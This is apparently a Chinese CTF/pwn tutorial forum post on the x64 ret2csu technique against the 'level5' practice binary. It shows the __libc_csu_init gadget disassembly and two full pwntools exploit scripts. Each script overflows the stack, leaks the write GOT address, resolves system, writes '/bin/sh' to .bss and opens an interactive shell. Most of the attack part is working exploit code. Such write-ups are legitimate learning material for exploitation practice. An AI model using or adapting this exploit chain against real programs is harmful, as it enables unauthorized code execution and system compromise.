用到的例子是蒸米的level5
x64 下面有一些万能的 gadget:objdump -d ./level5 显示特定的汇编(-D 显示全部的)
观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化
这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别
这些前面带百分号的极有可能是 AT&T 汇编,它的源操作数与目的操作数跟 8086 是反着的
gaegetd2 4005f0: 4c 89 fa mov %r15,%rdx 4005f3: 4c 89 f6 mov %r14,%rsi 4005f6: 44 89 ef mov %r13d,%edi 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8) .... gadgets1 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15 400624: 48 83 c4 38 add $0x38,%rsp 400628: c3 retq
通过构造栈上的数据,调用 1 然后返回到 2 就可以控制寄存器
首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2
gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr
write 函数原型是 write (1,address,len) ,1 表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
第一发 payload
第二发 payload
read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面
第三发 payload
自己写的exp
#!python #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher elf = ELF('level5') p = process('./level5') got_write = elf.got['write'] got_read = elf.got['read'] main_addr = 0x400564 bss_addr=0x601028 payload1 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0) + "\x00"*56 + p64(main_addr) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') sys_addr=libc_base+libc.dump('system') print "system_addr: " + hex(sys_addr) p.recvuntil("Hello, World\n") payload2 = "\x00"*136 + p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) + p64(0x4005F0) + "\x00"*56 + p64(main_addr) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(sys_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") payload3 = "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(0x4005F0) + "\x00"*56 + p64(main_addr) print "\n#############sending payload3#############\n" sleep(1) p.send(payload3) p.interactive()
给出的参考 exp
#!python #!/usr/bin/env python from pwn import * #context.log_level="debug" elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1) p.send(payload3) p.interactive()
2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!
最后于 6天前 被yichen115编辑 ,原因: